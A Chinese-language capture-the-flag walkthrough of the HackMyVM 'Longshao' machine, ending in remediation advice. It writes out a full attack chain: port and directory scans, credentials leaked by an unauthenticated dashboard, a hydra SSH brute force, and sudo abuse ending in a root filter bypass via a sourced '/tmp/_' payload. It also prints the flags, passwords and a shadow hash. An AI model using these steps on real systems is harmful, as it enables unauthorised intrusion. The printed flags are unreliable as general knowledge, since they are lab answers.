HackMyVM Longshao 通关记录|未授权访问、弱口令、多级 sudo 与 dot source 提权
靶机链接:Longshao
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Longshao | 192.168.1.114 | Alpine Linux 靶机 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp Apache | 确认 Web 是最适合优先检查的入口 |
| Web 枚举 | /dashboard.php 返回 200 | 找到未受登录保护的内部控制台 |
| 凭据泄露 | 页面显示 baolong:jinhua | 获得第一个 SSH 账户 |
| 初始访问 | SSH 登录 baolong | 读取 User Flag,并枚举本地用户 |
| 弱口令验证 | chaojibaolong:love123 | 进入第二层账户 |
| 第一段 sudo | check_parser 可免密码执行 | 让 parser_core 在 root 上下文中运行 |
| 用户切换 | 不存在的 /tmp/*.log 配合 --debug | parser_core 执行 su - chaojiwudilong |
| 第二段 sudo | a.sh 可免密码执行 | 获得 root 上下文中的输入执行点 |
| 过滤绕过 | . _ 加载 /tmp/_ | 绕过字母、数字和斜杠过滤 |
| Flag 收集 | user.txt、root.txt | 完成靶机 |
0x02 侦察与信息收集 (Reconnaissance)
1. 端口与服务扫描
先使用 Nmap 扫描全部 TCP 端口,同时进行服务版本、默认脚本和操作系统识别:
nmap -Pn -sT -p- --open -sV -sC -O 192.168.1.114 -oN nmap-fulltcp.txt
结果摘要:
| 端口 | 状态 | 服务 | 指纹 / 备注 |
|---|---|---|---|
22/tcp | open | SSH | OpenSSH 10.3 |
80/tcp | open | HTTP | Apache httpd 2.4.67 (Unix) |
Nmap 还识别到 Web 页面标题:
Maze 内部管理系统 - 登录
2. 目录枚举
使用 Gobuster 扫描常见文件,并追加 PHP 扩展名:
gobuster dir \
-u http://192.168.1.114/ \
-w /usr/share/wordlists/dirb/common.txt \
-x php,html,txt,bak \
-o gobuster.txt
关键结果:
dashboard.php (Status: 200)
index.php (Status: 200)
这里最值得关注的是 dashboard.php。200 表示服务器直接返回了页面,而不是跳转回登录页或返回 403 Forbidden。
0x03 Web 未授权访问与初始权限
1. 直接访问内部控制台
无需登录,直接请求:
curl -s http://192.168.1.114/dashboard.php
页面中的关键内容:
运维紧急通知
为了方便后续信息审计,临时生成的后备堡垒机凭据如下:
SSH 凭据:baolong:jinhua
获得凭据:
| 用户名 | 密码 | 来源 |
|---|---|---|
baolong | jinhua | 未授权访问的 dashboard.php |
漏洞原理: 登录页面只保护了正常操作流程,但 dashboard.php 本身没有检查用户是否已经登录。攻击者知道页面地址后,可以绕过登录页直接打开后台。
2. SSH 初始访问
使用泄露的凭据登录:
ssh baolong@192.168.1.114
# Password: jinhua
登录后确认当前身份:
id
hostname
输出摘要:
uid=1000(baolong) gid=1000(baolong)
longshao.lan
Linux 中 uid=0 才是 root。现在的 uid=1000 表示我们只是普通用户,但已经获得了初始 Shell。
3. 获取 User Flag
cat /home/baolong/user.txt
User Flag:
flag{user-3408c2a9ca636da4a40f054eea401fd9}
4. 枚举本地用户
/etc/passwd 对普通用户可读,它记录的是账户基本信息,不是明文密码:
cat /etc/passwd
结果:
baolong:x:1000:1000::/home/baolong:/bin/bash
chaojibaolong:x:1001:1001::/home/chaojibaolong:/bin/bash
chaojiwudilong:x:1002:1002::/home/chaojiwudilong:/bin/bash
这一步发现了后续两个账户:
chaojibaolong
chaojiwudilong
继续查看可疑的内部程序:
ls -l /opt/internal/parser_core
权限信息显示该程序的所属组是 chaojibaolong:
-rwxr-x--- 1 root chaojibaolong ... /opt/internal/parser_core
这说明 chaojibaolong 很可能是下一层关键账户,因此优先验证它的登录口令,而不是对所有系统用户无差别尝试。
0x04 第二层账户:chaojibaolong
1. 有限弱口令验证
为避免漫无目的地尝试,先截取 RockYou 的前 50000 条常用密码:
head -n 50000 /usr/share/wordlists/rockyou.txt > /tmp/rock50k.txt
使用已知用户名 chaojibaolong 进行有限验证:
hydra -l chaojibaolong \
-P /tmp/rock50k.txt \
-t 16 -f -I \
-o hydra-chao.txt \
ssh://192.168.1.114
参数含义:
| 参数 | 含义 |
|---|---|
-l chaojibaolong | 固定用户名 |
-P /tmp/rock50k.txt | 使用指定密码字典 |
-t 16 | 同时运行 16 个任务 |
-f | 找到一组有效凭据后停止 |
-I | 忽略旧恢复文件,开始本次任务 |
-o | 将结果保存到文件 |
命中结果:
[22][ssh] host: 192.168.1.114
login: chaojibaolong
password: love123
获得第二组凭据:
chaojibaolong:love123
2. 登录并检查 sudo 权限
ssh chaojibaolong@192.168.1.114
# Password: love123
检查当前用户能够通过 sudo 执行什么命令:
sudo -l
结果:
(ALL : ALL) NOPASSWD: /usr/local/bin/check_parser
这里有三个关键词:
sudo:以其他用户身份执行命令,默认目标通常是 root。NOPASSWD:执行该命令时无需再次输入密码。- 固定路径:这里只允许执行
/usr/local/bin/check_parser,不是任意命令。
所以接下来要分析的重点是:能否通过控制 check_parser 的参数,让它替我们做额外操作。
3. 检查程序与关键字符串
ls -l /usr/local/bin/check_parser /opt/internal/parser_core
file /usr/local/bin/check_parser /opt/internal/parser_core
strings /opt/internal/parser_core | grep -E 'debug|\.log|/tmp|su|chaoji'
关键字符串:
--debug
.log
/tmp/
chaojiwudilong
/bin/su
动态测试和逆向分析确认,程序逻辑可以简化为:
1. 必须在 eUID 0 的上下文中运行;
2. 参数中的日志必须以 .log 结尾;
3. 日志路径必须位于 /tmp/;
4. 如果日志文件不存在并且启用 --debug;
5. 执行 /bin/su - chaojiwudilong。
sudo check_parser 正好满足第 1 条;而日志路径和 --debug 都由当前用户控制。
4. 触发调试模式切换用户
准备一个符合格式、但实际不存在的日志路径:
sudo /usr/local/bin/check_parser \
/tmp/definitely_missing_4711.log --debug
触发后程序执行:
/bin/su - chaojiwudilong
在新 Shell 中验证身份:
id
输出:
uid=1002(chaojiwudilong) gid=1002(chaojiwudilong)
也可以使用管道一次性验证:
printf 'id\nsudo -n -l\nexit\n' |
sudo /usr/local/bin/check_parser \
/tmp/definitely_missing_4711.log --debug
此时已经从 chaojibaolong 切换到了 chaojiwudilong。
0x05 Root 权限提升 (Privilege Escalation)
1. 枚举 chaojiwudilong 的 sudo 权限
在 chaojiwudilong Shell 中执行:
sudo -l
结果:
(root) NOPASSWD: /usr/local/bin/a.sh
这表示该用户能够免密码、以 root 身份运行 /usr/local/bin/a.sh。
2. 阅读 a.sh
cat /usr/local/bin/a.sh
脚本内容:
PATH=/usr/bin
cd /tmp
read CMD < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$CMD"
逐行解释:
PATH=/usr/bin:把命令搜索路径固定为/usr/bin。cd /tmp:把当前目录切换到/tmp。head -n1:只读取输入的第一行。tr -d "[A-Za-z0-9/]":删除所有英文字母、数字和/。eval "$CMD":把过滤后的内容当作 Shell 命令执行。
直接输入以下命令不会成功:
/bin/bash
id
cat /root/root.txt
原因是字母、数字和斜杠都会被删除。但脚本仍然保留了:
. _
3. 理解 . _ 为什么有效
在 Shell 中,单独的点号 . 是一个内置命令,含义是:
. 文件名
它会在当前 Shell 中读取并执行指定文件。下划线 _ 可以作为文件名,而且不会被过滤器删除。
由于 a.sh 已经执行了:
cd /tmp
所以:
. _
实际等价于加载:
/tmp/_
a.sh 此时由 sudo 以 root 身份运行,因此 /tmp/_ 中的命令也会以 root 身份执行。
4. 编写 root 载荷文件
在 /tmp/_ 中写入要由 root 执行的命令:
cat > /tmp/_ <<'PAYLOAD'
/usr/bin/id >/tmp/root_id.txt
/bin/cat /root/root.txt >/tmp/root_flag.txt
/bin/chmod 644 /tmp/root_id.txt /tmp/root_flag.txt
PAYLOAD
这里没有把输出直接显示在终端,而是写到 /tmp 文件中。这种方式更稳定,也更方便验证执行结果。
5. 触发过滤绕过
把 . _ 送入 a.sh:
printf '%s\n' '. _' | sudo -n /usr/local/bin/a.sh
过滤器处理后,. _ 仍然保持不变,于是 root Shell 加载并执行 /tmp/_。
查看执行身份:
cat /tmp/root_id.txt
结果:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
uid=0(root) 证明已经实现 root 命令执行。
6. 获取 Root Flag
cat /tmp/root_flag.txt
Root Flag:
flag{root-e0bf0dabcccb7d4519c0ad4b431aff16}
0x06 口令来源复核
取得 root 后,可以读取 /etc/shadow。chaojibaolong 的记录为:
chaojibaolong:$6$8FPVDnZHI0H80SWe$EnNqMmMonf0yoRU1kvl6HZ5Lb/fBaAQ6unuIoOMLJTTgq1yL6qoi/0RYzOQ7ANJefSMwPQnznQ76xjWmcDt/q0:20598::::::
其中 $6$ 表示 SHA-512 crypt,8FPVDnZHI0H80SWe 是盐值。口令哈希不是加密后的明文,不能直接“解密”。它的验证方式是:使用候选密码和相同盐值重新计算,再比较结果。
用已知候选值复算:
openssl passwd -6 -salt 8FPVDnZHI0H80SWe love123
结果与 /etc/shadow 完全一致,因此确认密码确实是:
love123
但这只是验证已知候选值,不是从哈希中无损还原明文。
root 权限下还有两种不需要原密码的操作:
# 直接切换账户,不显示原密码
su - chaojibaolong
# 重置为新密码,不恢复旧密码
passwd chaojibaolong
全面取证没有发现 love123 的明文副本,所以本题中可复现的原密码来源仍是有限字典命中。
另外,/root/pass.txt 中确实存在一条明文:
chaojiheianwudilong
但复算结果表明它匹配的是 root 账户的密码哈希,并不匹配 chaojibaolong。因此它不是 love123 的来源。
0x07 最终成果 (Final Flags)
User Flag
- 路径:
/home/baolong/user.txt - 内容:
flag{user-3408c2a9ca636da4a40f054eea401fd9}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-e0bf0dabcccb7d4519c0ad4b431aff16}
凭据汇总
| 用户 | 密码 | 获取方式 |
|---|---|---|
baolong | jinhua | dashboard.php 未授权访问泄露 |
chaojibaolong | love123 | 有限弱口令字典验证 |
chaojiwudilong | 不需要 | parser_core --debug 由 root 执行 su |
root | 不需要 | a.sh 的 . _ 过滤绕过 |
0x08 漏洞汇总与修复建议
| 风险 | 漏洞 | 影响 | 修复建议 |
|---|---|---|---|
| 严重 | a.sh 对过滤结果使用 eval | 任意 root 命令执行 | 删除 eval,改用固定功能和参数白名单 |
| 高危 | parser_core --debug 执行 su | 从指定账户切换到另一用户 | 删除生产环境中的调试切换逻辑 |
| 高危 | check_parser 可免密码 sudo 执行 | 为可控参数提供 root 上下文 | 删除该 sudo 规则,或固定不可控参数 |
| 高危 | chaojibaolong 使用弱口令 | 攻击者可登录 SSH | 更换长随机密码,优先使用 SSH 密钥 |
| 高危 | dashboard.php 缺少服务端鉴权 | 后台内容和凭据直接泄露 | 每个后台页面都验证 Session 和权限 |
| 中危 | 页面保存明文运维凭据 | 凭据泄露后可横向使用 | 使用密码管理器或短期密钥,不在页面展示 |
复盘总结
Longshao 的难点不是单个复杂漏洞,而是把多个小问题连接起来:
- 登录页面不等于后台真的受保护,目录枚举发现了可直接访问的
dashboard.php。 - 控制台把 SSH 凭据明文展示出来,因此取得
baolong初始权限。 /etc/passwd暴露了后续用户名,弱口令love123让攻击者进入chaojibaolong。sudo -l是每次获得新用户后都应执行的基础命令,它先后暴露了check_parser和a.sh两个入口。parser_core的调试模式把 root 上下文错误地用于用户切换,使攻击链到达chaojiwudilong。a.sh虽然删除了字母、数字和斜杠,但黑名单没有考虑 Shell 内置命令;. _最终让 root 加载攻击者控制的文件。- 成功提权后应使用
id证明权限,再读取 Flag,最后删除测试文件。